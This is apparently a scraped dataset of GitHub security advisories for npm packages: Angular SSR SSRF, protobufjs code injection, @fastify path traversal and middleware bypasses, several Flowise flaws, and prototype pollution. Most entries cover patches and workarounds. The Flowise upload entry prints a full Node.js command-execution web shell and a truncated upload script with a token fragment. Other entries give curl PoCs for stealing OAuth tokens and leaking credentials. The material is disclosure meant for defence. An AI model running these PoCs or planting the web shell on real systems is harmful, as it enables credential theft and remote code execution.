deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-45q2-gjvg-7973
Package: @angular/platform-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 21.0.0-next.0, < 21.2.9
Patched in: 21.2.9

Summary: Angular: SSRF via protocol-relative and backslash URLs in Angular Platform-Server

Details:
### Impact

A [Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/SSRF) vulnerability exists in `@angular/platform-server` due to improper handling of URLs during Server-Side Rendering (SSR).

When an attacker sends a request such as `GET /\evil.com/ HTTP/1.1` the server engine (Express, etc.) passes the URL string to Angular’s rendering functions.

Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is `evil.com`. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative `HttpClient` requests or `PlatformLocation.hostname` references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services.

**Affected APIs:**
- `renderModule`
- `renderApplication`
- `CommonEngine` (from `@angular/ssr`)

**Non-Affected APIs:**
- `AngularAppEngine` (from `@angular/ssr`)
- `AngularNodeAppEngine` (from `@angular/ssr`)

### Attack Preconditions
- The server has outbound network access.
- The application uses Angular SSR via the affected APIs.
- A pathname is passed as URL to the rendering method  (e.g. using `req.url`).
- The server-side code performs HTTP requests using `HttpClient` with relative URLs or uses `PlatformLocation.hostname` to build URLs. 


### Patches
- 22.0.0-next.8
- 21.2.9
- 20.3.19
- 19.2.21

### Workarounds
Developers should implement a middleware to sanitize the request URL before it reaches Angular. This involves stripping or normalizing leading slashes:

```js
app.use((req, res, next) => {
  // Sanitize the URL to ensure it starts with a single forward slash
  if (req.url.startsWith('//') || req.url.startsWith('/\\') || req.url.startsWith('\\')) {
     req.url = '/' + req.url.replace(/^[/\\]+/, '');
  }
  next();
});

```
### References
- [Fix](https://github.com/angular/angular/pull/68194)
GitHub Security Advisory: GHSA-45q2-gjvg-7973
Package: @angular/platform-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 22.0.0-next.0, < 22.0.0-next.8
Patched in: 22.0.0-next.8

Summary: Angular: SSRF via protocol-relative and backslash URLs in Angular Platform-Server

Details:
### Impact

A [Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/SSRF) vulnerability exists in `@angular/platform-server` due to improper handling of URLs during Server-Side Rendering (SSR).

When an attacker sends a request such as `GET /\evil.com/ HTTP/1.1` the server engine (Express, etc.) passes the URL string to Angular’s rendering functions.

Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is `evil.com`. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative `HttpClient` requests or `PlatformLocation.hostname` references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services.

**Affected APIs:**
- `renderModule`
- `renderApplication`
- `CommonEngine` (from `@angular/ssr`)

**Non-Affected APIs:**
- `AngularAppEngine` (from `@angular/ssr`)
- `AngularNodeAppEngine` (from `@angular/ssr`)

### Attack Preconditions
- The server has outbound network access.
- The application uses Angular SSR via the affected APIs.
- A pathname is passed as URL to the rendering method  (e.g. using `req.url`).
- The server-side code performs HTTP requests using `HttpClient` with relative URLs or uses `PlatformLocation.hostname` to build URLs. 


### Patches
- 22.0.0-next.8
- 21.2.9
- 20.3.19
- 19.2.21

### Workarounds
Developers should implement a middleware to sanitize the request URL before it reaches Angular. This involves stripping or normalizing leading slashes:

```js
app.use((req, res, next) => {
  // Sanitize the URL to ensure it starts with a single forward slash
  if (req.url.startsWith('//') || req.url.startsWith('/\\') || req.url.startsWith('\\')) {
     req.url = '/' + req.url.replace(/^[/\\]+/, '');
  }
  next();
});

```
### References
- [Fix](https://github.com/angular/angular/pull/68194)
GitHub Security Advisory: GHSA-xq3m-2v4x-88gg
Package: protobufjs (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 7.5.5
Patched in: 7.5.5

Summary: Arbitrary code execution in protobufjs

Details:
## Summary

protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.

## Impact

An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.

## Preconditions

- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor.
- The application must load that definition through protobufjs reflection APIs such as descriptor loading.
- The affected generated-code path must be reached, for example by performing an operation on the loaded type.

## Workarounds

Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.
GitHub Security Advisory: GHSA-xq3m-2v4x-88gg
Package: protobufjs (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 8.0.0, < 8.0.1
Patched in: 8.0.1

Summary: Arbitrary code execution in protobufjs

Details:
## Summary

protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.

## Impact

An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.

## Preconditions

- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor.
- The application must load that definition through protobufjs reflection APIs such as descriptor loading.
- The affected generated-code path must be reached, for example by performing an operation on the loaded type.

## Workarounds

Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.
GitHub Security Advisory: GHSA-pr96-94w5-mx2h
Package: @fastify/static (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 8.0.0, <= 9.1.0
Patched in: 9.1.1

Summary: @fastify/static vulnerable to path traversal in directory listing

Details:
### Impact

`@fastify/static` v9.1.0 and earlier serves directory listings outside the configured static root when the `list` option is enabled. A request such as `/public/../outside/` causes `dirList.path()` to resolve a directory outside the root via `path.join()` without a containment check.

A remote unauthenticated attacker can obtain directory listings for arbitrary directories accessible to the Node.js process, disclosing directory names and filenames that should not be exposed. File contents are not disclosed.

### Patches

Upgrade to `@fastify/static` >= 9.1.1.

### Workarounds

Disable directory listing by removing the `list` option from the plugin configuration.
GitHub Security Advisory: GHSA-x428-ghpx-8j92
Package: @fastify/static (NPM)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-177: Improper Handling of URL Encoding (Hex Encoding)
Vulnerable versions: >= 8.0.0, <= 9.1.0
Patched in: 9.1.1

Summary: @fastify/static vulnerable to route guard bypass via encoded path separators

Details:
### Impact

`@fastify/static` v9.1.0 and earlier decodes percent-encoded path separators (`%2F`) before filesystem resolution, but Fastify's router treats them as literal characters. This creates a routing mismatch: route guards on `/admin/*` do not match `/admin%2Fsecret.html`, but @fastify/static decodes it to `/admin/secret.html` and serves the file.

Applications that rely on route-based middleware or guards to protect files served by @fastify/static can be bypassed with encoded path separators.

### Patches

Upgrade to `@fastify/static` >= 9.1.1.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-72c6-fx6q-fr5w
Package: @fastify/middie (NPM)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-436: Interpretation Conflict
Vulnerable versions: <= 9.3.1
Patched in: 9.3.2

Summary: @fastify/middie vulnerable to middleware authentication bypass in child plugin scopes

Details:
### Impact

`@fastify/middie` v9.3.1 and earlier incorrectly re-prefixes middleware paths when propagating them to child plugin scopes. When a child plugin is registered with a prefix that overlaps with a parent-scoped middleware path, the middleware path is modified during inheritance and silently fails to match incoming requests.

This results in complete bypass of middleware security controls for all routes defined within affected child plugin scopes, including nested (grandchild) scopes. Authentication, authorization, rate limiting, and any other middleware-based security mechanisms are skipped. No special request crafting or configuration is required.

This is the same vulnerability class as [GHSA-hrwm-hgmj-7p9c](https://github.com/fastify/fastify-express/security/advisories/GHSA-hrwm-hgmj-7p9c) (CVE-2026-33807) in `@fastify/express`.

### Patches

Upgrade to `@fastify/middie` v9.3.2 or later.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-v9ww-2j6r-98q6
Package: @fastify/middie (NPM)
Severity: HIGH (CVSS 7.4)
CWE: CWE-436: Interpretation Conflict
Vulnerable versions: <= 9.3.1
Patched in: 9.3.2

Summary: @fastify/middie vulnerable to middleware bypass via deprecated ignoreDuplicateSlashes option

Details:
### Impact

`@fastify/middie` v9.3.1 and earlier does not read the deprecated (but still functional) top-level `ignoreDuplicateSlashes` option, only reading from `routerOptions`. This creates a normalization gap: Fastify's router normalizes duplicate slashes but middie does not, allowing middleware bypass via URLs with duplicate leading slashes (e.g., `//admin/secret`).

This only affects applications using the deprecated top-level configuration style (`fastify({ ignoreDuplicateSlashes: true })`). Applications using `routerOptions: { ignoreDuplicateSlashes: true }` are not affected.

This is distinct from [GHSA-8p85-9qpw-fwgw](https://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw) (CVE-2026-2880), which was patched in v9.2.0.

### Patches

Upgrade to `@fastify/middie` >= 9.3.2.

### Workarounds

Migrate from deprecated top-level `ignoreDuplicateSlashes: true` to `routerOptions: { ignoreDuplicateSlashes: true }`.
GitHub Security Advisory: GHSA-x5w6-38gp-mrqh
Package: flowise (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-319: Cleartext Transmission of Sensitive Information
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: Password Reset Link Sent Over Unsecured HTTP

Details:
**Summary:**
The password reset functionality on [cloud.flowiseai.com](http://cloud.flowiseai.com/) sends a reset password link over the unsecured HTTP protocol instead of HTTPS. This behavior introduces the risk of a man-in-the-middle (MITM) attack, where an attacker on the same network as the user (e.g., public Wi-Fi) can intercept the reset link and gain unauthorized access to the victim’s account.

**Steps to Reproduce:**
1. Sign up for a new account on https://cloud.flowiseai.com/register.
2. Navigate to the https://cloud.flowiseai.com/forgot-password page and enter your email.
3. Open your inbox and locate the password reset email.
4. Copy the reset link and inspect its protocol – it uses http:// instead of https://.

**POC:**
http://[url6444.mail.flowiseai.com/ls/click?upn=u001.wa3d8yQsDRACvrFO3KPOeg4btvV98-2FRrNXRtYO9s9CtK622C9ChG4-2BvVg73Tvckl-2B5NZdaQcY4lfu7-2FJ5x9CldlKHZK4mop-2Bv-2FhMDPBX-2FtRDjG7vM-2FSMz1nPIQL3FS94nJSjGnZOW38kMxxMCP92yr092lV1KNGMVDr8xaCpM3k-3D1zEv_0Wzb2YTtJ6lxixf7gbrDfWWVoz-2B4mHPzoyxr9IPI-2Fas8GiBp1THEcPQTeIcCYlgaV0UaD8Y2wiA4ZRRCAp-2BjS0SMkthmibNAiBs2GZjXIaV-2F2wTIaJJdFXWkhTB-2Fc8hJjDhpLnRfayLJ5HyG9gftPNPM-2F9t9DvyHB-2FYLpZzAvou6jB8Nr-2BBFjyWBFrNq0g6su6i-2BwFySXSA-2Bzyg94PQKOA-3D-3D](http://url6444.mail.flowiseai.com/ls/click?upn=u001.wa3d8yQsDRACvrFO3KPOeg4btvV98-2FRrNXRtYO9s9CtK622C9ChG4-2BvVg73Tvckl-2B5NZdaQcY4lfu7-2FJ5x9CldlKHZK4mop-2Bv-2FhMDPBX-2FtRDjG7vM-2FSMz1nPIQL3FS94nJSjGnZOW38kMxxMCP92yr092lV1KNGMVDr8xaCpM3k-3D1zEv_0Wzb2YTtJ6lxixf7gbrDfWWVoz-2B4mHPzoyxr9IPI-2Fas8GiBp1THEcPQTeIcCYlgaV0UaD8Y2wiA4ZRRCAp-2BjS0SMkthmibNAiBs2GZjXIaV-2F2wTIaJJdFXWkhTB-2Fc8hJjDhpLnRfayLJ5HyG9gftPNPM-2F9t9DvyHB-2FYLpZzAvou6jB8Nr-2BBFjyWBFrNq0g6su6i-2BwFySXSA-2Bzyg94PQKOA-3D-3D)

**Impact:**
If a victim receives this insecure link and uses it over an untrusted network, an attacker can sniff the traffic and capture the reset token. This allows the attacker to hijack the victim's password reset session, potentially compromising their account.

**Mitigation:**
Ensure all sensitive URLs, especially password reset links, are generated and transmitted over secure https:// endpoints only.

**Best Practice:**
Use HTTPS in all password-related email links.
Implement HSTS (HTTP Strict Transport Security) to enforce secure connections.
GitHub Security Advisory: GHSA-6f7g-v4pp-r667
Package: flowise (NPM)
Severity: HIGH (CVSS 8.2)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise

Details:
### Summary
Flowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow.

By accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication.

### Details
Flowise is designed to allow public chatflows to be accessed by unauthenticated end users via public URLs or embedded widgets. As a result, `chatflowId` values are intentionally exposed to unauthenticated clients and must not be treated as secrets.

However, the endpoint `GET /api/v1/public-chatbotConfig/<chatflowId>` returns internal `flowData` without authentication. The returned `flowData` includes workflow node definitions containing OAuth credential identifiers (`credential` field).

Separately, the endpoint `POST /api/v1/oauth2-credential/refresh/<credentialId>` allows OAuth. 2.0 tokens to be refreshed without authentication or authorization checks.

Because credential identifiers can be obtained from the unauthenticated public chatflow configuration endpoint, these two behaviors can be combined to allow unauthenticated OAuth 2.0 access token disclosure.

### PoC
**Prerequisites**
- Self-hosted Flowise instance
- A public chatflow configured with an OAuth 2.0 credential (e.g., Gmail OAuth2)

#### Step 1: Obtain `chatflowId`
The `chatflowId` is exposed to unauthenticated users via public chatflow URLs, embedded widgets, or browser network requests when accessing a public chatflow.

Example: `d37b9812-72c1-4c64-b152-665f307f755e`

#### Step 2: Retrieve internal `flowData` without authentication

```bash
curl -s \
  http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e
```

The response includes flowData containing an OAuth credential identifier, for example:

```
"credential": "6efe0e20-ba6f-4fbb-9960-658feffa0542"
```

#### Step 3: Refresh OAuth 2.0 token without authentication

```bash
curl -X POST \
  http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542
```

The response returns valid OAuth 2.0 access token data, including an `access_token`.

### Impact
An unauthenticated attacker can obtain OAuth 2.0 access tokens for third-party services configured in Flowise, potentially leading to unauthorized data access, API abuse, or account compromise.

This vulnerability affects self-hosted deployments because public chatflows are commonly exposed to the internet and require unauthenticated access by design. Treating `chatflowId` as a secret does not mitigate the issue.
GitHub Security Advisory: GHSA-rh7v-6w34-w2rr
Package: flowise (NPM)
Severity: HIGH (CVSS 7.1)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: File Upload Validation Bypass in createAttachment

Details:
### Summary
In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

### Details
This is a bypass of [GHSA‑35g6‑rrw3‑v6xc](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc) (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the `application/javascript` MIME type when updating a Chatflow, allowing .js files to be uploaded.

JavaScript files are not listed as an option for file upload types within web user interface:
<img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" />



### PoC
#### shell.js (Node.js Web Shell)
```
const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
```

#### Python Upload Script
```
import requests
import uuid

TARGET_URL = "http://192.168.236.131:3000"
CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2"
cookie_str = 'token=[CREDENTIAL_REDACTED]; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWE
GitHub Security Advisory: GHSA-4jpm-cgx2-8h37
Package: flowise (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-522: Insufficiently Protected Credentials, CWE-862: Missing Authorization
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: Sensitive Data Leak in public-chatbotConfig 

Details:
### Summary

`/api/v1/public-chatbotConfig/:id `ep exposes sensitive data including API keys, HTTP authorization headers and internal configuration without any authentication. An attacker with knowledge just of a chatflow UUID can retrieve credentials stored in password type fields and HTTP headers, leading to credential theft and more.

### Details

Knowledge of chatflow UUID can be obtained from embedded chat widgets, referrer headers or logs and it's the only prerequest. 

`getSinglePublicChatbotConfig` function in `packages/server/src/services/chatflows/index.ts` returns the full **flowData** object without authorization check or data sanitization.

There is a comment as **"Safe as public endpoint as chatbotConfig doesn't contain sensitive credential"** but **flowData** does contain sensitive data such as:

`type: 'password'` fields are stored in plaintext (unstructuredAPIKey in S3File node).
HTTP Authorization headers in POST / GET Requests nodes.
Internal API endpoints and webhook URLs.

### PoC

- Add an S3 File node, set "File Processing Method" to "Unstructured".
- Enter an API key in "Unstructured API KEY" field or add a Requests Post node with Authorization header.
- Save the chatflow.

`curl -s "https://localhost/api/v1/public-chatbotConfig/{CHATFLOW_UUID}"`

Response:

```
{
  "flowData": "{...\"unstructuredAPIKey\":\"victim_key\"...\"requestsPostHeaders\":\"Bearer victim_token\"...}"
}
```

### Impact

Impacts all Flowise Cloud users with chatflows containing password type fields or any HTTP headers. And self hosted Flowise instances exposed to the internet.
GitHub Security Advisory: GHSA-j452-xhg8-qg39
Package: protocol-buffers-schema (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: < 3.6.1
Patched in: 3.6.1

Summary: Mafintosh's protocol-buffers-schema is vulnerable to prototype pollution

Details:
JavaScript is vulnerable to prototype pollution in Mafintosh's protocol-buffers-schema Version 3.6.0, where an attacker may alter the application logic, bypass security checks, cause a DoS or achieve remote code execution.